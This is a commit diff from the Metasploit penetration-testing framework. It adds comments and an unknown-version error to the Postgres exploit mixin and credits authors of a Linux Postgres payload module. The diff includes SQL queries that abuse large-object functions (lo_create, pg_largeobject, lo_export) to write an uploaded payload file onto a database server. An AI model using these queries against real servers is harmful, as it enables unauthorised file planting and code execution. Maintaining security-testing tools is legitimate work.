Raise if the version isn't what we expect

Also adds some clarifying commentation and adds todb to the list of
authors since he wrote the original module for windows upon which this
one is based.

lib/msf/core/exploit/postgres.rb

@@ -332,17 +332,26 @@ module Exploit::Remote::Postgres
 		ver = postgres_fingerprint
 		case ver[:auth]
 		when /PostgreSQL 8\./
+			# 8.x inserts the largeobject into the table when you do the
+			# lo_create, so we with a value.
 			queries = [
 				"select lo_create(#{oid})",
 				"update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}",
 				"select lo_export(#{oid}, '#{remote_fname}')"
 			]
 		when /PostgreSQL 9\./
+			# 9.x does *not* insert the largeobject into the table when you do
+			# the lo_create, so we must insert it ourselves.
 			queries = [
 				"select lo_create(#{oid})",
 				"insert into pg_largeobject select #{oid}, 0, decode((select #{fld} from #{tbl}), 'base64')",
 				"select lo_export(#{oid}, '#{remote_fname}')"
 			]
+		else
+			# Since the technique required for uploading seems to change
+			# between versions, complain that we don't know how to do it for
+			# an unknown version.
+			raise RuntimeError.new("Unknown Postgres version, don't know how to upload files")
 		end
 
 		queries.each do |q|

modules/exploits/linux/postgres/postgres_payload.rb

@@ -38,7 +38,8 @@ class Metasploit3 < Msf::Exploit::Remote
 			'Author'         =>
 			[
 				'midnitesnake', # this Metasploit module
-				'egypt' # .so technique
+				'egypt',        # on-the-fly compiled .so technique
+				'todb'          # original windows module this is based on
 			],
 			'License'        => MSF_LICENSE,
 			'Version'        => '$Revision$',